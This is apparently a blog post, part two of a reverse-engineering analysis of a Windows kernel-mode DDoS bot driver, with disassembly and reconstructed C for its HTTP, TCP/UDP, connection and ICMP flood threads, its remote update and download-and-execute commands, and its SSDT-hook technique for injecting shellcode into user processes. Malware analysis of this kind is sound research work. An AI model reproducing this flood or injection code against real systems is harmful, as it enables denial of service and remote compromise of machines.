DDoS Driver 2/2

In the previous part i mentioned a task array and described only part of the message structure, let’s resume from here and fill in the gaps: a task is described by the following structure:

struct task_entry {
    BOOL active; // 1 if the task is running, 0 otherwise
    BYTE id; // id of task (it's index into array)
    BYTE tcpUdp;
    WORD frequency; // how fast send packets
    WORD port1;
    WORD port2;
    WORD pktSize;
    DWORD target; // DDoS target address
    char * data;
}

and this is the complete message structure:

struct Message {
      WORD magic;      //  BAFAh
      WORD msgLen;
      BYTE cmd;      // command to execute
      WORD waitTime;  // wait time (# of seconds) before recontact C&C
      BYTE id; // id of work to be added/replaced
      BYTE threadNr;
      WORD frequency;
      WORD port1;
      WORD port2;
      WORD pktSize;
      BYTE stopCnt;
      BYTE stopIds[1];
}

cmd takes values from 1 to 9: each of them specifies a different command.

1 – HTTP

The target hostname and HTTP request string are extracted from the message: they are encoded as <target_hostname>!<HTTP request> at the end of the message (that is after the stopIds array, if there is any)

mov     esi, [ebp+message]
movzx   eax, [esi+NUPS_MESSAGE.stopCnt]
push    edi
lea     ebx, [eax+esi+NUPS_MESSAGE.stopIds]
push    '!'             ; int
push    ebx             ; char *
call    ds:strchr
mov     edi, eax
test    edi, edi
pop     ecx
pop     ecx
jz      ERROR

the extracted hostname is resolved

and     byte ptr [edi], 0
push    ebx             ; hostname
call    resolveHostname

and here the HTTP request is copied into the newly allocated buffer which will be assigned to the data field of the task entry

push    206B6444h
push    1024            ; NumberOfBytes
push    PagedPool       ; PoolType
call    ds:ExAllocatePoolWithTag
movzx   ecx, [esi+NUPS_MESSAGE.id]
mov     edx, task_array
imul    ecx, size TASK_ENTRY
mov     [ecx+edx+TASK_ENTRY.data], eax
...
lea     ecx, [edi+1] ;edi+1 points to the chracter after '!'
loc_11E39: ; strcpy
mov     al, [ecx]
inc     ecx
mov     [edx], al
inc     edx
test    al, al
jnz     short loc_11E39
...

after that the task entry corresponding to msg.id is filled with the information from the message:

; esi points to the message
movzx   eax, [esi+NUPS_MESSAGE.id]
mov     ecx, task_array
imul    eax, size TASK_ENTRY
mov     [eax+ecx+TASK_ENTRY.Active], 1

mov     al, [esi+NUPS_MESSAGE.id]
mov     edx, task_array
movzx   ecx, al
imul    ecx, size TASK_ENTRY
mov     [ecx+edx+TASK_ENTRY.Id], al

movzx   eax, [esi+NUPS_MESSAGE.id]
mov     cx, [esi+NUPS_MESSAGE.port1]
imul    eax, size TASK_ENTRY
mov     edx, task_array
mov     [eax+edx+TASK_ENTRY.Port1], cx

movzx   eax, [esi+NUPS_MESSAGE.id]
mov     ecx, task_array
imul    eax, size TASK_ENTRY
mov     edx, [ebp+target]
mov     [eax+ecx+TASK_ENTRY.Address], edx

movzx   eax, [esi+NUPS_MESSAGE.id]
mov     cx, [esi+NUPS_MESSAGE.frequency]
imul    eax, size TASK_ENTRY
mov     edx, task_array
mov     [eax+edx+TASK_ENTRY.Freq], cx

once the setup fase is completed it spawns the threads that do the real work

while(message.threadNr > 0)
    PsCreateSystemThread(&thHandle, 0,0,0,0, HTTP_DDOS_THREAD, msg.id)

the HTTP_DDOS_THREAD function is like this:

PVOID buff;
LARGE_INTEGER delay;
sockaddr_in sockaddr;
char *httpData;
DWORD id;

if = (DWORD) StartContext;

delay.QuadPart = WDF_REL_TIMEOUT_IN_MS * task_array[id].frequency;

buff = ExAllocatePoolWithTag(PagedPool, 1024, 0x206B6444);
if (buff == NULL)
   PsTerminateSystemThread(0);

sockaddr.sin_family = AF_INET;
sockaddr.sin_port = task_array[id].port1;
sockaddr.s_addr = task_array[id].target;

httpData = task_array[id].data;

// ExitFlag is a global flag used to interrupt the driver operations
 while ( !ExitFlag && task_array[id].active == TRUE )
{
	tdi_socket = TDI_SOCKET(TCP);

	if ( tdi_socket > 0 )
	{

		if ( TDI_OPEN_SOCKET(tdi_socket, &sockaddr) >= 0 )
		{
		  TDI_SEND(tdi_socket, httpData, strlen(httpData));
		  TDI_RECV(tdi_socket, buff, 1024);
		}

		TDI_CLOSE(tdi_socket);
	}
	if (task_array[id].frequency)
		KeDelayExecutionThread(KernelMode, FALSE, &delay);
}

ExFreePoolWithTag(buff, 0);

2/3 – TCP/UDP

As in the previous case the steps are the same: the task entry is being filled from the message and then several threads are spawned, let’s jump directly to the thread code, it starts by allocating a buffer for the data to be sent

movzx   eax, [ebx+TASK_ENTRY.PktSize]
push    206B6444h       ; Tag
push    eax             ; NumberOfBytes
push    1               ; PoolType
call    ds:ExAllocatePoolWithTag
xor     edi, edi
cmp     eax, edi
mov     [ebp+send_buff], eax

the buffer is filled with random data

xor     ebx, ebx
...
FILL_BUFF_RAND:
call    ds:rand
cdq
mov     ecx, 100h       ; % FF
idiv    ecx
mov     eax, [ebp+send_buff]
mov     [ebx+eax], dl
mov     eax, task_array
movzx   ecx, [esi+eax+TASK_ENTRY.PktSize]
inc     ebx
cmp     ebx, ecx
jl      short FILL_BUFF_RAND

and then it starts sending packets

sockaddr_in sockaddr;

sockaddr.sin_family = AF_INET;
sockaddr.s_addr = task_array[id].target;

// create and fill up send_buff

// ExitFlag is a global flag used to interrupt the driver operations
 while ( !ExitFlag && task_array[id].active == TRUE )
{

	if (task_array[id].TcpUdp == 3)
		tdi_socket = TDI_SOCKET(UDP);
	else
		tdi_socket = TDI_SOCKET(TCP);

	if ( tdi_socket > 0 )
	{
		if (task_array[id].port1 != task_array[id].port2)

			sockaddr.sin_port = htons(task_array[id].port1 + (rand() % (task_array[id].port2 - task_array[id].port1) + 1))
		else
			sockaddr.sin_port = htons(task_array[id].port1);


		if ( TDI_OPEN_SOCKET(tdi_socket, &sockaddr) >= 0 )
		  TDI_SEND(tdi_socket, send_buff, task_array[id].PktSize);


		TDI_CLOSE(tdi_socket);
	}
	if (task_array[id].frequency)
		KeDelayExecutionThread(KernelMode, FALSE, &delay);
}

ExFreePoolWithTag(buff, 0);

4 – TCPCON

the init part is identical to the others, this is like a wannabe-SYN-Dos, you see it’s missing the TDI_CLOSE()

 while ( !ExitFlag && task_array[id].active == TRUE )
{

	tdi_socket = TDI_SOCKET(TCP);

	if ( tdi_socket > 0 )
	{
		if (task_array[id].port1 != task_array[id].port2)
			sockaddr.sin_port = htons(task_array[id].port1 + (rand() % (task_array[id].port2 - task_array[id].port1) + 1))
		else
			sockaddr.sin_port = htons(task_array[id].port1);


		TDI_OPEN_SOCKET(tdi_socket, &sockaddr);

	}
	if (task_array[id].frequency)
		KeDelayExecutionThread(KernelMode, FALSE, &delay);
}

5 – ICMP

here ICMP echo packets are sent to the target, in this case the port1, port2 fields (both in message and in task) are used to specify the size of the packet. Some reference on how it works can be found here

space for packet is allocated:

movzx   eax, [esi+eax+TASK_ENTRY.Port2]
push    206B6444h       ; Tag
add     eax, size ICMP_ECHO_REQUEST
push    eax             ; NumberOfBytes
push    1               ; PoolType
call    ds:ExAllocatePoolWithTag
mov     edi, eax

the structure is filled with the necessary information

mov     eax, task_array
mov     eax, [esi+eax+TASK_ENTRY.Address]
or      [edi+ICMP_ECHO_REQUEST.Ttl], 255
mov     [edi+ICMP_ECHO_REQUEST.Address], eax
mov     [edi+ICMP_ECHO_REQUEST.Timeout], 1
mov     [edi+ICMP_ECHO_REQUEST.DataOffset], size ICMP_ECHO_REQUEST
mov     [edi+ICMP_ECHO_REQUEST.OptionsValid], bl ;ebx is 0
mov     [edi+ICMP_ECHO_REQUEST.Tos], bl
mov     [edi+ICMP_ECHO_REQUEST.Flags], bl
mov     [edi+ICMP_ECHO_REQUEST.OptionsOffset], bx
mov     [edi+ICMP_ECHO_REQUEST.OptionsSize], bl
mov     [edi+ICMP_ECHO_REQUEST.Padding], bl

then it opens the device and sends IOCTL

push    offset aDeviceIp ; "\\Device\\Ip"
lea     eax, [ebp+DestinationString]
push    eax             ; DestinationString
mov     dword ptr [ebp+Interval+4], edx
call    ds:RtlInitUnicodeString
lea     eax, [ebp+DestinationString]
mov     [ebp+ObjectAttributes.ObjectName], eax
mov     eax, task_array
xor     ebx, ebx
mov     [ebp+ObjectAttributes.Length], 18h
mov     [ebp+ObjectAttributes.RootDirectory], ebx
mov     [ebp+ObjectAttributes.Attributes], 40h
mov     [ebp+ObjectAttributes.SecurityDescriptor], ebx
mov     [ebp+ObjectAttributes.SecurityQualityOfService], ebx
...
push    ebx             ; EaLength
push    ebx             ; EaBuffer
push    ebx             ; CreateOptions
push    1               ; CreateDisposition
push    3               ; ShareAccess
push    80h             ; FileAttributes
push    ebx             ; AllocationSize
lea     eax, [ebp+IoStatusBlock]
push    eax             ; IoStatusBlock
lea     eax, [ebp+ObjectAttributes]
push    eax             ; ObjectAttributes
push    0C0000000h      ; DesiredAccess
lea     eax, [ebp+Handle]
push    eax             ; FileHandle
call    ds:ZwCreateFile
...
movzx   eax, dx
add     eax, 14h
push    eax             ; OutputBufferLength
lea     ecx, [ebp+OutputBuffer]
push    ecx             ; OutputBuffer
push    eax             ; InputBufferLength
push    edi             ; InputBuffer
push    120000h         ; IoControlCode
lea     eax, [ebp+IoStatusBlock]
push    eax             ; IoStatusBlock
push    ebx             ; ApcContext
push    ebx             ; ApcRoutine
push    ebx             ; Event
mov     [edi+ICMP_ECHO_REQUEST.DataSize], dx
push    [ebp+Handle]    ; FileHandle
call    ds:ZwDeviceIoControlFile

7 – UPDATE

This command is used to update the driver, it first checks the password in the message before continuing:

cmp     [esi+NUPS_MESSAGE.port1], 3039h

the message data is encoded like before: <target_hostname>!<HTTP request>
the http request specifies the path of the binary, that will be downloaded and substituted to the current one.

push    1               ; verifyMZSign
lea     ecx, [ebp+SrcPath]
add     eax, esi
push    ecx             ; FilePath "\\??\\c:\\tmp.tmp"
push    [eax+TASK_ENTRY.data] ; HttpRequest
push    [eax+TASK_ENTRY.Address] ; address
call    RecvFile
cdq
mov     ecx, 65536
idiv    ecx
mov     eax, task_array
movzx   eax, [esi+eax+TASK_ENTRY.PktSize]
pop     edi
pop     esi
cmp     edx, eax

as you can see it’s present a check on the downloaded binary length, and it’s present a flag that checks if the downloaded binary starts with the ‘MZ’ signature. The received file is then substituted to the current .sys file.

Note: after substitution on filesystem, the new driver is not loaded.

8 – RUN COMMAND

in this case the message data contains a command to execute, the technique used is one of the different techniques one can use to execute commands from ring0 to ring3 on windows (thanks baidu)

msg_exec

Using the words of H D Moore:

Basically, the ring0 code hooks the system call entrypoint to point to its own stub. This entry point is called by every process that calls any system call. The stub then tries to determine whether the calling process is the target (lsass.exe is default). If the target process name matches, we reset the syscall hook and run the code in the target process. This means that one of the target process’s threads is randomly hijacked to run our code instead of what it was trying to do (call a system call).
[…]
but you have to wait for them to execute a system call to get your code injected.

and that’s exectly what it does, except that it doesnt do the check for the target process.

and     IsHooked, 0
mov     eax, ds:KeServiceDescriptorTable
mov     ecx, openkey_idx ; index of OpenKey function
mov     uCmdShow, 6
mov     second_param, esi
mov     eax, [eax]
mov     eax, [eax+ecx*4]
push    offset aWaitExec ; "WAIT EXEC"
mov     originalOpenKey, eax
mov     IsHooked, 1
call    DbgPrint
mov     [esp+8+stub_code], offset hijacking
push    openkey_idx
call    hook_SSDT

hook_SSDT is the classical function for changing a syscall in the SSDT, so let’s see directly the hijacking function:

.text:00011881	call    PsGetCurrentProcessId
.text:00011886	cmp     eax, 4 ; dont hook System process
.text:00011889	jbe     short loc_118B5
.text:0001188B	push    originalOpenKey
.text:00011891	push    openkey_idx
.text:00011897	call    hook_SSDT ; restor original OpenKey
.text:0001189C	and     IsHooked, 0
.text:000118A3	call    injectCode ; inject code
.text:000118A8	push    eax
.text:000118A9	push    offset aRetI    ; Format
.text:000118AE	call    DbgPrint
.text:000118B3	pop     ecx
.text:000118B4	pop     ecx
.text:000118B5
.text:000118B5 loc_118B5:
.text:000118B5	jmp     originalOpenKey

injectCode, allocates space in the target process, copies the shellcode into that and then calls KeUserModeCallback to execute the shellcode (it’s a classical WinExec shellcode).

9 – LOAD N EXEC

downloads a file from web and esecutes it.
the file is saved as “c:\\tmp.exe” and it is executed using the same code of CMDEXEC case.

and that’s it for now ๐Ÿ˜›

Advertisements

1 Response to “DDoS Driver 2/2”


  1. 1 emdel November 20, 2009 at 7:06 pm

    good analysis swirl, i was waiting for this 2/2 episode ๐Ÿ™‚


Comments are currently closed.




%d bloggers like this: